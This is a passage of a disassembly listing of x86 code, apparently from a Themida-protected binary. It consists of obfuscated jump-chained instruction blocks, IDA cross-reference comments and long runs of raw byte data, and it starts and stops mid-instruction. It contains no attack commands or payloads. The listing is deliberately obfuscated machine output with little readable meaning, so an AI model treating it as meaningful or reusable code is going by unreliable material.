4 xchg ebp, [esp] jmp loc_521190 ; --------------------------------------------------------------------------- loc_523D7C: ; CODE XREF: Themida_:00521D7Bj dec ecx not ecx xor ecx, 994BBC42h mov edx, ecx mov ecx, [esp] add esp, 4 add edx, 1 jmp loc_50F7FF ; --------------------------------------------------------------------------- dd 53F0E991h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_523D9E: ; CODE XREF: Themida_:005177B3j mov eax, esp add eax, 4 push 3710h mov [esp], ebx mov ebx, 4 add eax, 48CB1ADBh sub eax, 33132EB9h add eax, ebx add eax, 33132EB9h sub eax, 48CB1ADBh jmp loc_514E95 ; --------------------------------------------------------------------------- db 81h, 0C6h, 85h dd 0E9150456h, 0FFFF1C70h ; --------------------------------------------------------------------------- loc_523DD8: ; CODE XREF: Themida_:00520C52j mov esp, [esp] push 4BF4h mov [esp], ebx mov ebx, 80h jmp loc_5240E1 ; --------------------------------------------------------------------------- db 53h, 0E9h, 67h db 0E1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_523DF3: ; CODE XREF: Themida_:0051F0A2j mov [esp], ebx jmp loc_51A2C6 ; --------------------------------------------------------------------------- db 56h dd 0FFCCCCE9h db 0FFh ; --------------------------------------------------------------------------- loc_523E01: ; CODE XREF: Themida_:0052232Dj mov [esp], edx jmp loc_51FD5B ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0B0240489h, 7DA0E92Eh, 1C89FFFFh, 0E9E38924h, 1E5h dd 4EF81h, 58E90000h, 1FFFFC1h, 0C6815AD6h, 4, 5C243487h dd 0E9C39D61h, 0FFFEB8CCh, 1C0EEA81h, 0E9536DA3h, 0FFFF0E2Eh ; --------------------------------------------------------------------------- loc_523E4C: ; CODE XREF: Themida_:0051630Fj push 68B4h mov [esp], edx jmp loc_51F666 ; --------------------------------------------------------------------------- db 81h, 0C1h, 0DEh dd 8146EA64h, 4A03ACC1h, 0E9F9014Bh, 0FFFF950Bh, 0B9240C89h dd 224805AEh, 0FF9ABAE9h, 1C77FFFFh, 419589Dh, 85E99C24h db 0B8h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_523E87: ; CODE XREF: Themida_:005159C9j xor bl, ah mov ax, [esp] add esp, 2 and al, bl push dword ptr [esp] jmp loc_51C38E ; --------------------------------------------------------------------------- dw 0E789h dd 0FF99B7E9h, 7E0C1FFh, 2407C035h, 8E8C17Eh, 2508E8C1h dd 51660CFh, 0FFE38AE9h db 0FFh ; --------------------------------------------------------------------------- loc_523EB9: ; CODE XREF: Themida_:00520516j xor eax, 5DC930EFh xor eax, 786D3BA9h mov ebp, eax pop eax or ebp, 3C755747h jmp loc_5169E4 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 0BD550000h, 2, 7685152h, 8B5AFB2Bh, 0C483240Ch, 0F7D9F704h dd 2999E9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_523EF2: ; CODE XREF: Themida_:00513524j add esp, 4 jmp loc_515410 ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 33240431h, 565C2404h, 0DFE9E689h, 89FFFEDEh, 8668243Ch dd 8900003Dh, 73B9240Ch, 50102D07h, 0E4228CB8h, 5304E94Ch dd 0C483FFFFh, 0F20404h, 0E9F22CD8h, 0FFFFF831h ; --------------------------------------------------------------------------- loc_523F38: ; CODE XREF: Themida_:0051A15Cj mov esi, [esp] push esi push esp pop esi add esi, 4 push ebp push eax mov eax, 712A543Fh inc eax jmp loc_51B7D9 ; --------------------------------------------------------------------------- db 81h, 0EEh, 1Dh dd 0E968CF16h, 0FFFF29EAh, 31241C33h, 0FCE9241Ch, 0C1FFFEF5h dd 0C18305E9h, 0B6C981FFh, 811C4A35h, 0C237B2C1h, 9FEB818Fh dd 1077B18h, 9FC381CBh, 0E9077B18h, 0FFFF3DE5h ; --------------------------------------------------------------------------- loc_523F8C: ; CODE XREF: Themida_:005235ABj mov ebp, 4 sub edi, ebp mov ebp, [esp] add esp, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov [esp], eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5236CC ; --------------------------------------------------------------------------- dd 4EAC15Ch, 0BFE9524Ah, 0E9FFFF93h, 0FFFEB744h, 10C0BF57h dd 0E7817BF2h, 4E31B1h, 5609F781h, 0F8896FD1h, 0FF122CE9h dd 24348BFFh, 5504C483h, 92E95D54h, 52FFFF1Eh, 5FE9E289h dd 81FFFFC7h, 68CFB3F7h, 5FFD01F0h, 0FF8382E9h, 4B951FFh dd 1000000h, 0BD5559CBh, 4, 0E95DEB01h, 0FFFF0DC0h ; --------------------------------------------------------------------------- loc_52401C: ; CODE XREF: Themida_:00517C80j add ecx, 4 push ecx push dword ptr [esp+4] jmp loc_510730 ; --------------------------------------------------------------------------- loc_52402C: ; CODE XREF: Themida_:00521065j add ecx, 0F58741Fh pop edx jmp loc_51279E ; --------------------------------------------------------------------------- loc_524038: ; CODE XREF: Themida_:00517E55j mov ebx, 4 add edi, ebx mov ebx, [esp] add esp, 4 xchg edi, [esp] pop esp shr eax, 10h xor eax, ecx jmp loc_51D94C ; --------------------------------------------------------------------------- db 33h dd 895C2434h, 4BA2414h, 50000000h, 4544FB8h, 9F254878h dd 0C147E51Ch, 0FF5003E0h, 3558240Ch, 6A8F9F22h, 0E958C701h dd 0FFFF6F70h ; --------------------------------------------------------------------------- loc_524080: ; CODE XREF: Themida_:005118EAj sub esp, 4 mov [esp], ebx jmp loc_516F86 ; --------------------------------------------------------------------------- dw 205Ch dd 0E95866E2h, 0FFFED73Fh ; --------------------------------------------------------------------------- loc_524098: ; CODE XREF: Themida_:00520CF1j mov edi, 716D3DD7h shl edi, 4 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx mov ebx, 206E8C15h add edi, 24E05EC9h jmp loc_516069 ; --------------------------------------------------------------------------- loc_5240C2: ; CODE XREF: Themida_:005191A0j mov esi, 68F3196h sub esi, 68F3192h add ebx, esi pop esi push 3930h mov [esp], ebx push dword ptr [esp+4] jmp loc_515F42 ; --------------------------------------------------------------------------- loc_5240E1: ; CODE XREF: Themida_:00523DE8j and ecx, ebx jmp loc_516CF2 ; --------------------------------------------------------------------------- dd 704C800h, 83C33059h, 0EE904ECh, 96FFFFA4h, 4EC81h, 0DAE90000h dd 0FFFFFF1Ch, 669D1C77h, 24041858h, 0B5FAE99Ch, 42B3FFFEh dd 0D828FB04h, 0FFDA73E9h, 241489FFh, 0FEE95FE9h, 0E9F301FFh dd 0FFFEBDF9h, 0E9243C31h, 0FFFFAD10h, 0FEB5D3E9h, 57D831FFh dd 7EA68h, 24048900h, 4C596852h, 34FF3087h, 0CBE9E924h dd 77FFFFFEh, 58669D1Ch, 9C240410h, 0FFDB67E9h, 0B5A6E9FFh dd 0E781FFFEh, 316C28B8h, 0FEF4E9E9h, 244481FFh, 0B845AD04h dd 24440117h, 26A4E904h, 0ECC0FFFFh, 12B25202h, 0FEB6AAE9h dd 405FFh, 0BF570000h, 4, 875FF801h, 248B2404h, 6C9CE924h dd 0D589FFFFh, 78FE95Ah, 0C483FFFFh, 7FE95804h, 8FFFFEE0h dd 77E92404h, 89FFFF74h, 4C681E6h, 81000000h, 4C6h, 24348700h dd 21BA685Ch, 4890000h, 5E08924h, 4, 405h, 24048700h, 0FB8505Ch dd 8137075Bh, 432B0EBh, 81C30144h, 432B0C3h, 24048B44h dd 4C481h, 1E90000h, 89FFFF3Ah, 0B9512424h, 4, 4244C01h dd 243C8B59h, 4C481h, 0C0E90000h, 5CFFFEF7h, 0FEB4DFE9h dd 243C31FFh, 8B243C33h, 4282424h, 0CDE99C24h db 0B4h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_52423F: ; CODE XREF: Themida_:00522A99j sub ecx, 269857Fh add ebp, ecx pop ecx add ebp, 4 jmp loc_51BC16 ; --------------------------------------------------------------------------- loc_524250: ; CODE XREF: Themida_:005228C1j pop ecx jmp loc_514EB9 ; --------------------------------------------------------------------------- dw 295Bh dd 24148BD6h, 0FF1B9BE9h, 4BF57FFh, 29000000h, 2C81E9FEh dd 0D828FFFFh, 0E92434FFh, 0FFFF9D2Dh, 7F62F581h, 0F5817AD8h dd 61C1A25h, 0E95DEA29h, 0FFFFE999h, 242C875Bh, 349F685Ch dd 4CE90000h, 89FFFF35h, 87BA2414h, 0F741E478h, 0C8F281D2h dd 8124FB12h, 0BF4D9F2h, 348152E9h, 0EA1E1724h, 0F7815F02h dd 2EA1E17h, 0D0F7975Ah, 0FFCA3EE9h, 0B43EE9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5242CE: ; CODE XREF: Themida_:0051AA02j push 1DADh mov [esp], edi mov edi, esp push ecx jmp loc_519265 ; --------------------------------------------------------------------------- dw 2C31h dd 242C3324h, 66E9F65Ch, 66CCB60Fh, 66101B68h, 66240C89h dd 66C8B60Fh, 0DE99C51h, 1FFFEB4h, 0C2E95EF3h db 24h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_524307: ; CODE XREF: Themida_:00520EAFj push esp pop edx add edx, 4 jmp loc_510C96 ; --------------------------------------------------------------------------- dd 8B24048Fh, 0F662424h, 9C2404BBh, 0FEB3E7E9h db 0FFh ; --------------------------------------------------------------------------- loc_524325: ; CODE XREF: Themida_:00510A58j mov eax, 75C33988h add eax, 747E1DAFh jmp loc_5178C4 ; --------------------------------------------------------------------------- dd 48BC389h, 0E9BEE924h, 481FFFEh, 0C5274424h, 442D5852h dd 0E952C527h, 0FFFF5F4Fh, 8868B353h, 0D1085BDAh, 24148B66h dd 2C481h, 0F1800000h, 51B25240h, 0C280DAF6h, 80DAF61Ah dd 0EB8044EAh, 2C3E974h, 0B2B90000h, 817A1277h, 102A10F1h dd 0A199E91Ch, 0CF01FFFFh, 0FFD8AAE9h db 0FFh ; --------------------------------------------------------------------------- loc_524391: ; CODE XREF: Themida_:005158ECj add edx, 7E43EF1Ah add eax, edx mov edx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi push ecx mov ecx, 405C470Dh mov edi, ecx pop ecx jmp loc_5218DE ; --------------------------------------------------------------------------- loc_5243CD: ; CODE XREF: Themida_:00511841j sub ebp, 2D12095Bh add esi, 3E0568Fh sub esi, ebp push ecx jmp loc_511D6E ; --------------------------------------------------------------------------- db 88h, 0E2h, 0E9h dd 0FFFF4704h, 1C04D028h, 0E951665Ah, 0FFFF94CFh, 0B294E950h dd 0EFD0FFFFh, 0E93FF780h, 0FFFF98BEh, 56240C8Bh, 0C6815E54h dd 4, 8704C683h, 248B2434h, 9FB0E924h, 0B951FFFFh, 465D5D94h dd 8704E9C1h, 87D3F7D9h, 41E9D1D9h, 46B1BB53h, 0D901AF52h dd 0E9CF895Bh, 0FFFEDE89h, 97F2D5Fh, 0BA525FCDh, 3AA07B6h dd 3A1EBB53h, 0DA2915C1h, 0F1F2815Bh, 313915D2h, 4A8E9D0h dd 0CBBEFFFFh, 896AB745h, 0F9E95EF1h, 83FFFF23h, 148904ECh dd 5B2ABA24h, 0EAC10154h, 0F7CA8706h, 0C1CA87D9h, 656802EAh dd 0E9000018h, 0FFFEBEEEh, 3831F281h, 0D601BBE0h, 0FEF62BE9h dd 240489FFh, 0FEC7A5E9h, 4EC83FFh, 55243C89h, 523E5E68h dd 0CDC2E962h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5244B6: ; CODE XREF: Themida_:00523871j mov ecx, eax pop eax shr ecx, 7 add ecx, 9489BC08h add esi, ecx jmp loc_51567A ; --------------------------------------------------------------------------- db 25h, 0BAh, 2Eh dd 9C0D016Fh, 48148D47h, 70986905h, 0E9C701EAh, 0FFFF3AAEh dd 5C241487h, 0FFE560E9h, 48F5AFFh, 73E95C24h, 28FFFF59h dd 3BEB80C3h, 6831B450h, 12C3h, 0FEE6FBE9h, 712BBBFFh dd 0E0E922C5h db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_52450F: ; CODE XREF: Themida_:00524EE6j add ebp, 0C4E90195h add edx, ebp pop ebp push eax jmp loc_520D39 ; --------------------------------------------------------------------------- dw 5158h dd 0EC81E189h, 4, 68243489h, 1A56h, 68241C89h, 598435ECh dd 0FEE27BE9h db 0FFh ; --------------------------------------------------------------------------- loc_52453D: ; CODE XREF: Themida_:00516AF9j xor eax, esi pop esi xor ebx, eax push ebx push 1B21h mov [esp], edx jmp loc_524A66 ; --------------------------------------------------------------------------- dd 51D1C681h, 0DE011180h, 51D1B850h, 48E91180h db 59h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_524563: ; CODE XREF: Themida_:0051572Bj push dword ptr [esp+4] push dword ptr [esp] pop ebp push ebp mov ebp, esp add ebp, 4 jmp loc_512802 ; --------------------------------------------------------------------------- db 31h, 0D5h, 31h dd 0EA874DEAh, 1722E281h, 0EA817C00h, 2853F2C0h, 4EF1C681h dd 0D62956A9h, 4EF1EE81h, 0E95A56A9h, 0FFFF61D1h ; --------------------------------------------------------------------------- loc_5245A0: ; CODE XREF: Themida_:0051C805j movsx ecx, ax push ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push edx push ebx mov ebx, 35FD2A6Eh or ebx, 6C7D7093h xor ebx, 5FFB462Dh sub ebx, 22063CCEh mov edx, ebx pop ebx add ecx, edx push dword ptr [esp] mov edx, [esp] jmp loc_51694D ; --------------------------------------------------------------------------- loc_5245D8: ; CODE XREF: Themida_:0051F831j add esp, 4 add esp, 4 jmp loc_515108 ; --------------------------------------------------------------------------- db 0C1h, 0E8h, 3 dd 54E95348h, 31FFFEB4h, 0B85058C5h, 28455350h, 0FF2721E9h dd 4EBC1FFh, 0E665F381h, 0DE311B7Fh, 0E9F7095Bh, 0FFFECB1Eh ; --------------------------------------------------------------------------- loc_524614: ; CODE XREF: Themida_:00512EABj mov ebx, 429B76FDh add ebx, 0F990D69Dh sub eax, ebx mov ebx, [esp] add esp, 4 push ecx mov ecx, 0 add ecx, eax add dword ptr [ecx], 1 jmp loc_51DF56 ; --------------------------------------------------------------------------- db 28h, 0D3h, 0E9h dd 0FFFEC678h, 0EB805966h, 59040Ah, 5B592CD8h, 0D800AA04h dd 0FF385BE9h, 1CE95CFFh, 45FFFFABh, 4809E581h, 0E5C14C43h dd 42684D03h, 89000001h, 0F9682414h, 5A15055Dh, 0DE2E281h dd 0EA81251Bh, 0FFFFFFFFh, 0D9EEA81h, 0D529A2FFh, 8B2434FFh dd 0C4832414h, 0E0895004h, 405h, 4C08300h, 5C240487h, 5EE9EF01h dd 8BFFFF6Ah, 22E9242Ch, 0B8FFFED6h, 49A962C9h, 0A962CBBFh dd 58C72949h, 0B2235C05h, 2DF80137h, 37B2235Ch, 0FF2434FFh dd 3C8B2434h, 4C48324h, 79FD68h, 242C8900h, 0C581E589h dd 4, 46851h, 82E90000h, 5CFFFF8Ah, 89241489h, 685753E2h dd 7A03078Bh, 9D3FE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_524706: ; CODE XREF: Themida_:0051850Aj mov cl, ah mov eax, [esp] jmp loc_516329 ; --------------------------------------------------------------------------- dd 0A4CD814Dh, 452FB96Bh, 5016E581h, 6EE94DF1h, 5FFFFFB2h dd 0FFDD0EE9h, 8BCF09FFh, 0C481240Ch, 4, 205B850h, 0C7011081h dd 0D243E958h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_524742: ; CODE XREF: Themida_:00514905j mov esp, [esp] mov [esp], ax jmp loc_5113F9 ; --------------------------------------------------------------------------- loc_52474E: ; CODE XREF: Themida_:0051A43Ej push dword ptr [esp] jmp loc_5208AD ; --------------------------------------------------------------------------- dw 0C281h dd 1EF839ABh, 847BB53h, 5AE92F3Ah db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_524767: ; CODE XREF: Themida_:0051627Fj sub ecx, 433037B9h jmp loc_522391 ; --------------------------------------------------------------------------- dw 285Ah dd 1D9AE9C6h, 0E957FFFFh, 5EFh, 24143166h, 24143366h, 24143166h dd 87665D66h, 608C68EFh, 4890000h, 4EC8324h, 81242489h dd 42404h, 0E9580000h, 0FFFED19Ch, 815D5455h, 4C5h, 4F8DE900h dd 5455FFFFh, 802EE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5247C2: ; CODE XREF: Themida_:00515F55j add ebp, 4 push esi mov esi, 4 jmp loc_51E99D ; --------------------------------------------------------------------------- db 4Bh dd 6990EB81h, 0F38156C2h, 0FEB10FA2h, 0B6E9DF29h, 66FFFEF7h dd 666BB4BFh, 8B66FE89h, 0C483243Ch, 0F0296602h, 29665E66h dd 665566D8h, 666BB4BDh, 5D66E801h, 0BE665666h, 556674FDh dd 456CBD66h, 3640566h, 0FFA323E9h, 0BF5750FFh, 658720B9h dd 308FBA52h, 0F281591Eh, 870CCA59h, 895AD701h, 243C8BF8h dd 4C481h, 0C1210000h, 0AE98158h, 81431A1Bh, 9B0514EDh dd 0A064E91Bh, 34FFFFFFh, 2434FF24h, 5A2434FFh, 0FEFDFFE9h db 0FFh ; --------------------------------------------------------------------------- loc_524861: ; CODE XREF: Themida_:00522596j mov edx, esp jmp loc_51417E ; --------------------------------------------------------------------------- dd 8B242C87h, 2DE92414h, 46FFFEBAh, 0AF0EEE81h, 0F231B766h dd 0B368565Eh, 5E73D842h, 8102EEC1h, 502377E6h, 52D6F749h dd 0FEC4CEE9h, 0CEE95EFFh, 66FFFF66h, 665FF929h, 0C8BC829h dd 4C48324h, 0EC815E66h, 4, 0E9243489h, 0FFFFEDF8h, 2C6EBB53h dd 66E95DDDh, 5AFFFFA8h, 0E9525366h, 0FFFEBD57h, 0C105E6C1h dd 0E94E04EEh, 0FFFFD319h ; --------------------------------------------------------------------------- loc_5248D8: ; CODE XREF: Themida_:00516700j mov edx, 48C95C36h shr edx, 1 jmp loc_514DD3 ; --------------------------------------------------------------------------- dd 0FE9FE88h, 1FFFF39h, 0FB02E9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5248F2: ; CODE XREF: Themida_:0052104Cj push dword ptr [esp] jmp loc_51D73E ; --------------------------------------------------------------------------- dw 0C501h aXhs db 'Xh˜\',0 align 2 dw 3C89h dd 5E14BF24h, 0C781235Ah, 0A543D3Ah, 64B6C781h, 0BF57D251h dd 120D4C2Eh, 1370BE56h, 0EEC11D2Bh, 0DFBBE907h, 0C8BFFFEh dd 5B545324h, 0FFD6E1E9h, 0F8295BFFh, 0F06EE95Fh, 0E95CFFFEh dd 0FFFFDD5Ah ; --------------------------------------------------------------------------- loc_524944: ; CODE XREF: Themida_:00517F72j add ebx, 4 jmp loc_515C53 ; --------------------------------------------------------------------------- db 5Ah dd 31240C33h, 0C33240Ch, 34FF5C24h, 240C8B24h, 0FFFE55E9h dd 0B1CCBAFFh, 0D70196C2h, 93EB815Ah, 128B610h, 93C381FBh dd 5F28B610h, 2B850h, 5EE90000h, 52FFFFE1h, 65326851h dd 0BA5958A9h, 6D1264D4h, 9EE9CA31h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_52499B: ; CODE XREF: Themida_:00524E3Bj mov ebx, esp add ebx, 4 push edi jmp loc_518E18 ; --------------------------------------------------------------------------- db 5Ch, 81h, 0ECh dd 4, 51243489h, 153C9E68h, 240C8B25h, 0FF390DE9h, 240C8BFFh dd 0FFD514E9h, 243433FFh, 27F6815Ch, 3175A02Fh, 2434FFF0h dd 4C4815Eh, 83000000h, 3C8904ECh, 2F886824h, 0EFE90000h db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5249EF: ; CODE XREF: Themida_:0050FCC4j pop edi add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_521A9F ; --------------------------------------------------------------------------- dd 7568EFD0h, 0E9000016h, 0FFFFEFA4h ; --------------------------------------------------------------------------- loc_524A10: ; CODE XREF: Themida_:005135EDj shr edx, 6 jmp loc_51A584 ; --------------------------------------------------------------------------- dd 0BD242C89h, 4, 505DE801h, 42474FFh, 24048F58h, 0F1A4E95Ch dd 0E589FFFFh, 0FFD4B2E9h, 50E389FFh, 405E089h, 2D000000h dd 4, 2474FF50h, 0E96BE904h, 0E953FFFFh, 0FFFEC7E1h, 5C241487h dd 240CFF66h, 0ACA6E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_524A66: ; CODE XREF: Themida_:0052454Bj push 34E3h mov [esp], ecx mov cl, 0A0h mov dh, cl jmp loc_515912 ; --------------------------------------------------------------------------- db 0BFh dd 5BDBF558h, 0E95FF931h, 0FFFF6583h ; --------------------------------------------------------------------------- loc_524A84: ; CODE XREF: Themida_:00516DE8j mov edx, 13A02EE9h shl edx, 4 shl edx, 1 shr edx, 8 push edx not dword ptr [esp] pop edx sub edx, 0E3EA7F19h xor edi, edx pop edx mov esi, edi pop edi mov eax, esi pop esi add edi, eax pop eax xchg edi, [esp] mov esp, [esp] or eax, eax jz loc_511034 sub esp, 4 mov [esp], eax push 51A7h mov [esp], ebp push ebx push 39277815h jmp loc_516F22 ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFFC28Eh, 1C8BD828h, 4C48324h, 0FF4296E9h, 0E8295AFFh dd 87FBE95Dh, 487FFFFh, 1955E924h, 0E589FFFFh, 4C581h dd 0C5830000h, 242C8704h, 4EC815Ch, 89000000h, 0E9502414h dd 0FFFF8D98h, 8159CA21h, 920008F2h, 2C815242h, 0FF236A24h dd 0C181596Bh, 6BFF236Ah, 0E924148Bh, 0FFFF7B53h ; --------------------------------------------------------------------------- loc_524B34: ; CODE XREF: Themida_:0051F873j mov esi, [esp] add esp, 4 xchg eax, [esp] pop esp mov [esp], eax push dword ptr [esp+4] jmp loc_523245 ; --------------------------------------------------------------------------- dw 0D0F7h dd 2EE95697h db 34h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_524B53: ; CODE XREF: Themida_:0051048Ej push esi jmp loc_5239C6 ; --------------------------------------------------------------------------- db 49h, 81h, 0F1h dd 46E5FA47h, 0C8BCA01h, 4C48124h, 53000000h, 4BBh, 5BDA0100h dd 71C368h, 24148900h, 42474FFh, 5A2434FFh, 81E28952h dd 4C2h, 4EC8300h, 0FF6324E9h, 3BF681FFh, 81C94C08h, 637935EBh dd 0AFBE5676h, 8153A641h, 0E022ADC6h, 16CE8145h, 813E486Ah dd 5F3065EEh, 983FE979h, 0C15DFFFFh, 0EAC105E2h, 0B850E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_524BCA: ; CODE XREF: Themida_:00522077j sub [esp+4], ebx pop ebx push dword ptr [esp] mov eax, [esp] push 2EA5h mov [esp], ebx push esp jmp loc_51C0B5 ; --------------------------------------------------------------------------- loc_524BE3: ; CODE XREF: Themida_:0050FCB4j pop ecx mov ecx, [esp] add esp, 4 push esi mov esi, 4 add edi, esi mov esi, [esp] jmp loc_5157BD ; --------------------------------------------------------------------------- db 0BBh, 0Fh, 20h dd 17BE21D5h, 3140437Bh, 241C8BDEh, 4C481h, 814E0000h dd 0A4034C6h, 8B505632h, 51E92434h, 68FFFF20h, 5606h, 0FEEC73E9h db 0FFh ; --------------------------------------------------------------------------- loc_524C2D: ; CODE XREF: Themida_:0051CEEEj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_51377A ; --------------------------------------------------------------------------- loc_524C43: ; CODE XREF: Themida_:00523196j pop esi jmp loc_52291E ; --------------------------------------------------------------------------- db 52h, 0B6h, 4Bh dd 0E680CEFEh, 3B6DE9A9h, 0FE28FFFFh, 50241C8Bh, 405E089h dd 83000000h, 93E904C0h, 80FFFFE4h, 8B6677E9h, 9668241Ch dd 0E900005Dh, 0FFFEEF7Dh ; --------------------------------------------------------------------------- loc_524C7C: ; CODE XREF: Themida_:0051BB54j add ecx, eax mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub esp, 4 mov [esp], ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx jmp loc_51FB7B ; --------------------------------------------------------------------------- dd 4C681h, 34870000h, 24248B24h, 0F387DD87h, 5653D6F7h dd 0DD875E5Bh, 9174F581h, 7FE9D01Eh, 33FFFFC1h, 2C31242Ch dd 242C3324h, 0FFD419E9h, 34DC68FFh, 0E3E90000h db 7Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_524CDF: ; CODE XREF: Themida_:0051FCBCj xor esi, edi pop edi add ebx, esi pop esi not ebx jmp loc_5167BE ; --------------------------------------------------------------------------- dd 0C7FEAFB7h, 8003EFC0h, 0DEE901C7h, 0C1FFFFABh, 0D6F707EEh dd 81D6F746h, 598092C6h, 0E90FE91Fh, 0CEBDFFFEh, 5319672Dh dd 0FF418FE9h, 241433FFh, 0FEE663E9h db 0FFh ; --------------------------------------------------------------------------- loc_524D21: ; CODE XREF: Themida_:00522F03j mov eax, 27112A67h add edx, eax mov eax, [esp] add esp, 4 pop ecx add edx, eax push esi mov esi, 7CA415DEh sub esp, 4 mov [esp], ecx push edi mov edi, 184B2EC0h mov ecx, 0E7B4D140h add ecx, edi pop edi sub ecx, esi jmp loc_51890C ; --------------------------------------------------------------------------- dw 2C8Bh dd 8B545524h, 0C483242Ch, 4C58104h, 83000000h, 2C8704C5h dd 0CDE95C24h, 0BFFFFF77h, 7C2645BFh, 0F707EFC1h, 44E781D7h dd 4726EC3Bh, 4FF78147h, 3115B902h, 0D033E9FDh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_524D8E: ; CODE XREF: Themida_:0051E99Fj pop esi jmp loc_51316F ; --------------------------------------------------------------------------- dd 4C481h, 1C8B0000h, 54736824h, 2C890000h, 81E58924h dd 4C5h, 4C58100h, 87000000h, 40E9242Ch, 1FFFF01h, 24048BC1h dd 0ECEBE956h, 74FFFFFEh, 0E90424h, 51FFFED6h, 7183BEB9h dd 59CE29D2h, 0A9B1E94Eh, 8B66FFFEh, 0ED68240Ch, 89000070h dd 0E189240Ch, 3FD7BB53h, 434317CCh, 240CFF53h, 0FEFB13E9h dd 0C48358FFh, 0C982E904h, 0F42DFFFEh, 12B3B69h, 69F405D8h dd 0F72D2B3Bh, 2D417C45h, 17C21048h, 82FBB53h, 0FEE92B31h dd 8BFFFF3Eh, 0C483240Ch, 0F8C38004h, 0E951EB80h, 0FFFFE59Dh ; --------------------------------------------------------------------------- loc_524E38: ; CODE XREF: Themida_:0051906Aj mov [esp], ebx jmp loc_52499B ; --------------------------------------------------------------------------- loc_524E40: ; CODE XREF: Themida_:005227D8j mov ecx, [esp] add esp, 4 jmp loc_51B2EF ; --------------------------------------------------------------------------- loc_524E4B: ; CODE XREF: Themida_:00513B92j mov esp, [esp] jmp loc_51CAE7 ; --------------------------------------------------------------------------- db 0BDh dd 4, 73E9EB89h, 68FFFED2h, 39D7h, 0FF91E9E9h db 0FFh ; --------------------------------------------------------------------------- loc_524E69: ; CODE XREF: Themida_:005117D2j jmp loc_50F70C ; --------------------------------------------------------------------------- dw 8058h dd 72E901C1h, 81FFFFE8h, 2779BDEFh, 81D72937h, 2779BDC7h dd 0E95D5A37h, 0FFFED95Ch, 24048F5Eh, 0FFC7CBE9h db 0FFh ; --------------------------------------------------------------------------- loc_524E95: ; CODE XREF: Themida_:0051F42Bj add eax, ebx push ecx push ebp jmp loc_520E28 ; --------------------------------------------------------------------------- dw 0BCB3h dd 8037E380h, 0CBFEFFC3h, 0A3E95166h, 0B8FFFFFBh, 4D11473Dh dd 41DF8C2Dh, 5723E9FAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_524EBE: ; CODE XREF: Themida_:005100ACj xchg eax, [esp] pop esp mov [esp], edx jmp loc_511A05 ; --------------------------------------------------------------------------- dw 0B050h dd 58C32813h, 0FE4EF380h, 0B15166C3h, 0F1A7E9AAh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_524EDE: ; CODE XREF: Themida_:00523B92j mov edi, 3A06320Fh or ebp, edi pop edi jmp loc_52450F ; --------------------------------------------------------------------------- db 83h dd 2C8904ECh, 46824h, 895D0000h, 0C1055DEAh, 134AF0Ah dd 0AC12DD0h, 34FF34AFh, 2964E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_524F0E: ; CODE XREF: Themida_:00514130j mov eax, [esp] add esp, 4 jmp loc_514AA9 ; --------------------------------------------------------------------------- loc_524F19: ; CODE XREF: Themida_:00516347j not bh inc bh push edx jmp loc_51AECE ; --------------------------------------------------------------------------- db 5 dd 11FC52F2h, 540FDE05h, 0E9D80172h, 0FFFEFE2Ah ; --------------------------------------------------------------------------- loc_524F34: ; CODE XREF: Themida_:0051EFFCj xchg eax, [esp] pop esp xchg edi, [esp] pop esp push 12C6h jmp loc_520664 ; --------------------------------------------------------------------------- dw 8B66h dd 8150240Ch, 4ECh, 24248900h, 4B850h, 12E90000h, 8BFFFFF2h dd 0C4832414h, 1EA8104h, 81000000h, 75AE40EAh, 817FE923h dd 0D789FFFFh, 8BFB015Ah db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax jmp loc_51D577 ; --------------------------------------------------------------------------- db 89h dd 4B9240Ch, 89000000h, 0E98159CDh, 744168E3h, 71F5C181h dd 0E9014161h, 0FFCCFFE9h db 0FFh ; --------------------------------------------------------------------------- loc_524FA5: ; CODE XREF: Themida_:00517B94j xchg ecx, [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], ebp jmp loc_51F65B ; --------------------------------------------------------------------------- db 0FFh dd 48B2434h, 4C48324h, 659E68h, 242C8900h, 6852E589h, 1A44h dd 